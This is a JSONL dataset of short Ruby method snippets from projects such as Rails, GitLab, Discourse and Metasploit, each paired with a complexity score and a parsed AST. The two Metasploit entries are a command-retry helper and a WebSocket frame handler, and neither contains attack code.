{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/osx/gather/enum_colloquy.rb","start_line":129,"raw_source":"def exec(cmd)\n    tries = 0\n    begin\n      cmd_exec(cmd).chomp\n    rescue ::Timeout::Error => e\n      tries += 1\n      if tries < 3\n        vprint_error(\"#{@peer} - #{e.message} - retrying...\")\n        retry\n      end\n    rescue EOFError => e\n      tries += 1\n      if tries < 3\n        vprint_error(\"#{@peer} - #{e.message} - retrying...\")\n        retry\n      end\n    end\n  end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exec\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tries\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cmd_exec\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},\"chomp\"]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tries\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@peer\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\" - retrying...\"]}]}]},{\"type\":\"retry\",\"children\":[]}]},null]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EOFError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tries\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tries\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@peer\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\" - retrying...\"]}]}]},{\"type\":\"retry\",\"children\":[]}]},null]}]}]},null]}]}]}]}","id":"c6dc27fa-bbcc-4277-af97-0a4c492fd429"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/i18n/translation_entry.rb","start_line":74,"raw_source":"def translations_have_multiple_lines?\n        translation_entries.any?(Array)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"translations_have_multiple_lines?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"translation_entries\"]},\"any?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]}]}","id":"b3e1d9bd-4586-42c9-a81b-35b4bcb5acab"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/tag.rb","start_line":85,"raw_source":"def tag_description_within_tag_info\n        tag_info.find(\".tag-description-wrapper\").text\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tag_description_within_tag_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tag_info\"]},\"find\",{\"type\":\"str\",\"children\":[\".tag-description-wrapper\"]}]},\"text\"]}]}","id":"eb4965f4-538d-441b-8fe6-7b9791507dca"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/fork_tracker.rb","start_line":27,"raw_source":"def hook!\n        ::Process.singleton_class.prepend(CoreExt)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hook!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Process\"]},\"singleton_class\"]},\"prepend\",{\"type\":\"const\",\"children\":[null,\"CoreExt\"]}]}]}","id":"4dacd5b6-7d13-4617-895c-52a9f51ee951"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project.rb","start_line":545,"raw_source":"def has_release?(tag)\n        releases.any? { |release| release[:tag_name] == tag }\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_release?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"releases\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"release\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"release\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag_name\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]}]}","id":"800e1e5c-c736-454a-88ea-c3d9c564315e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/concerns/valid_or_default.rb","start_line":4,"raw_source":"def valid_or_default(value, valid_values, default)\n    return value if valid_values.include?(value)\n\n    default\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_or_default\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"valid_values\"]},{\"type\":\"arg\",\"children\":[\"default\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid_values\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"default\"]}]}]}","id":"27b69fc3-cb38-46ef-bb7f-8b2c95eed07c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/releases_helper.rb","start_line":14,"raw_source":"def data_for_releases_page\n    {\n      project_id: @project.id,\n      project_path: @project.full_path,\n      illustration_path: illustration,\n      documentation_path: help_page_path('user/project/releases/_index.md'),\n      atom_feed_path: project_releases_path(@project, rss_url_options)\n    }.tap do |data|\n      if can?(current_user, :create_release, @project)\n        data[:new_release_path] = new_project_release_path(@project)\n      end\n    end\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"data_for_releases_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"full_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"illustration_path\"]},{\"type\":\"send\",\"children\":[null,\"illustration\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"documentation_path\"]},{\"type\":\"send\",\"children\":[null,\"help_page_path\",{\"type\":\"str\",\"children\":[\"user/project/releases/_index.md\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"atom_feed_path\"]},{\"type\":\"send\",\"children\":[null,\"project_releases_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[null,\"rss_url_options\"]}]}]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_release\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"new_release_path\"]},{\"type\":\"send\",\"children\":[null,\"new_project_release_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]},null]}]}]}","id":"d61481db-731a-4851-b643-5f99dedc25bc"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/upload_to_app_store.rb","start_line":41,"raw_source":"def self.available_options\n        require \"deliver\"\n        require \"deliver/options\"\n        FastlaneCore::CommanderGenerator.new.generate(Deliver::Options.available_options)\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"deliver\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"deliver/options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"CommanderGenerator\"]},\"new\"]},\"generate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deliver\"]},\"Options\"]},\"available_options\"]}]}]}]}","id":"e508773c-1447-43fa-a18c-98f362700a6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/danger/stable_branch.rb","start_line":212,"raw_source":"def uses_stable_branch_template?\n        template_source_path&.include?('.gitlab/merge_request_templates/Stable%20Branch.md')\n      end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"uses_stable_branch_template?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template_source_path\"]},\"include?\",{\"type\":\"str\",\"children\":[\".gitlab/merge_request_templates/Stable%20Branch.md\"]}]}]}","id":"ee461c6a-4da6-4093-a501-cb46d3bde1ab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240503175120_drop_table_geo_repository_created_events.rb","start_line":10,"raw_source":"def down\n    create_table :geo_repository_created_events do |t|\n      t.integer :project_id, index: { name: 'index_geo_repository_created_events_on_project_id' }, null: false\n      t.text :repository_storage_name, null: false\n      t.text :repo_path, null: false\n      t.text :wiki_path\n      t.text :project_name, null: false\n    end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"geo_repository_created_events\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"index_geo_repository_created_events_on_project_id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"repository_storage_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"repo_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"wiki_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"text\",{\"type\":\"sym\",\"children\":[\"project_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]}]}","id":"2b817ca3-0be0-471e-b5b6-0c991e801db5"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/tracks/time_chunker.rb","start_line":8,"raw_source":"def initialize(user, start_at: nil, end_at: nil, chunk_size: 1.day, buffer_size: 6.hours)\n    @user = user\n    @start_at = start_at\n    @end_at = end_at\n    @chunk_size = chunk_size\n    @buffer_size = buffer_size\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"start_at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"end_at\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"chunk_size\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"day\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"buffer_size\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[6]},\"hours\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@start_at\",{\"type\":\"lvar\",\"children\":[\"start_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@end_at\",{\"type\":\"lvar\",\"children\":[\"end_at\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@chunk_size\",{\"type\":\"lvar\",\"children\":[\"chunk_size\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@buffer_size\",{\"type\":\"lvar\",\"children\":[\"buffer_size\"]}]}]}]}","id":"9d572ac4-ed89-44ec-b86b-65b20008dab1"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/json/encoding_test.rb","start_line":47,"raw_source":"def test_hash_encoding\n    assert_equal %({\\\"a\\\":\\\"b\\\"}), ActiveSupport::JSON.encode(a: :b)\n    assert_equal %({\\\"a\\\":1}), ActiveSupport::JSON.encode(\"a\" => 1)\n    assert_equal %({\\\"a\\\":[1,2]}), ActiveSupport::JSON.encode(\"a\" => [1, 2])\n    assert_equal %({\"1\":2}), ActiveSupport::JSON.encode(1 => 2)\n\n    assert_equal %({\\\"a\\\":\\\"b\\\",\\\"c\\\":\\\"d\\\"}), sorted_json(ActiveSupport::JSON.encode(a: :b, c: :d))\n  end","complexity_score":14.15,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_encoding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"{\\\"a\\\":\\\"b\\\"}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"{\\\"a\\\":1}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"{\\\"a\\\":[1,2]}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"{\\\"1\\\":2}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"{\\\"a\\\":\\\"b\\\",\\\"c\\\":\\\"d\\\"}\"]},{\"type\":\"send\",\"children\":[null,\"sorted_json\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"JSON\"]},\"encode\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"a\"]},{\"type\":\"sym\",\"children\":[\"b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"c\"]},{\"type\":\"sym\",\"children\":[\"d\"]}]}]}]}]}]}]}]}","id":"93cd45c7-2d60-40fd-ac9c-e9cf3bf71bb7"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/lib/sidekiq/api.rb","start_line":250,"raw_source":"def initialize(name = \"default\")\n      @name = name.to_s\n      @rname = \"queue:#{name}\"\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"default\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rname\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"queue:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"2bb64fc3-90d5-48be-ad8b-29a65607cdfc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/http/web_socket/amazon_ssm.rb","start_line":103,"raw_source":"def handle_output_data(output_frame)\n        return nil if @ack_message == output_frame.uuid\n\n        @ack_message = acknowledge_output(output_frame)\n        # TODO: handle Payload::* types\n        if ![PayloadType::Output, PayloadType::Error].any? { |e| e == output_frame.payload_type }\n          wlog(\"SsmChannel got unhandled output payload type: #{Payload.from_val(output_frame.payload_type)}\")\n          return nil\n        end\n\n        output_frame.payload_data.value\n      end","complexity_score":18.8,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_output_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"output_frame\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ack_message\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_frame\"]},\"uuid\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@ack_message\",{\"type\":\"send\",\"children\":[null,\"acknowledge_output\",{\"type\":\"lvar\",\"children\":[\"output_frame\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PayloadType\"]},\"Output\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PayloadType\"]},\"Error\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_frame\"]},\"payload_type\"]}]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wlog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SsmChannel got unhandled output payload type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Payload\"]},\"from_val\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_frame\"]},\"payload_type\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output_frame\"]},\"payload_data\"]},\"value\"]}]}]}","id":"6a9f8280-55ff-49ac-a19d-58356e8e397b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/path_set.rb","start_line":58,"raw_source":"def search_combinations(prefixes)\n        prefixes = Array(prefixes)\n        prefixes.each do |prefix|\n          paths.each do |resolver|\n            yield resolver, prefix\n          end\n        end\n      end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"search_combinations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefixes\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefixes\",{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"lvar\",\"children\":[\"prefixes\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefixes\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prefix\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"paths\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resolver\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resolver\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]}]}]}]}","id":"c0966dc8-a2f0-4c9a-8e9f-2ac075bf4a98"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/engine_test.rb","start_line":242,"raw_source":"def test_interpolation\n    assert_haml_ugly('%p Hello #{who}', locals: {who: 'World'}, escape_html: false)\n    assert_haml_ugly(\"%p\\n  Hello \\#{who}\", locals: {who: 'World'}, escape_html: false)\n    assert_haml_ugly('%p Hello #{who}', locals: {who: 'World'}, escape_html: true)\n    assert_haml_ugly(\"%p\\n  Hello \\#{who}\", locals: {who: 'World'}, escape_html: true)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_interpolation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_haml_ugly\",{\"type\":\"str\",\"children\":[\"%p Hello #{who}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"who\"]},{\"type\":\"str\",\"children\":[\"World\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape_html\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_haml_ugly\",{\"type\":\"str\",\"children\":[\"%p\\n  Hello #{who}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"who\"]},{\"type\":\"str\",\"children\":[\"World\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape_html\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_haml_ugly\",{\"type\":\"str\",\"children\":[\"%p Hello #{who}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"who\"]},{\"type\":\"str\",\"children\":[\"World\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape_html\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_haml_ugly\",{\"type\":\"str\",\"children\":[\"%p\\n  Hello #{who}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"who\"]},{\"type\":\"str\",\"children\":[\"World\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"escape_html\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"6f246fde-f228-4481-9d6b-ee24b76ae4a0"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/page_sections_controller.rb","start_line":28,"raw_source":"def move_higher\n        if @page_section.first?\n          head :ok\n        else\n          @page_section.move_higher\n        end\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"move_higher\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page_section\"]},\"first?\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"sym\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@page_section\"]},\"move_higher\"]}]}]}","id":"f162b1af-a373-4f7b-b1b4-7f0777cdc069"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/associations/alias_tracker.rb","start_line":87,"raw_source":"def truncate(name)\n          name.slice(0, @table_alias_length - 2)\n        end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"truncate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"slice\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@table_alias_length\"]},\"-\",{\"type\":\"int\",\"children\":[2]}]}]}]}","id":"0804e799-1b28-4db8-9330-f5ac4d7af69c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/components/message_creator.rb","start_line":31,"raw_source":"def enter_shortcut\n          input.send_keys(:enter)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"enter_shortcut\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input\"]},\"send_keys\",{\"type\":\"sym\",\"children\":[\"enter\"]}]}]}","id":"d3124f76-c692-40fe-969a-62a8babc421e"}
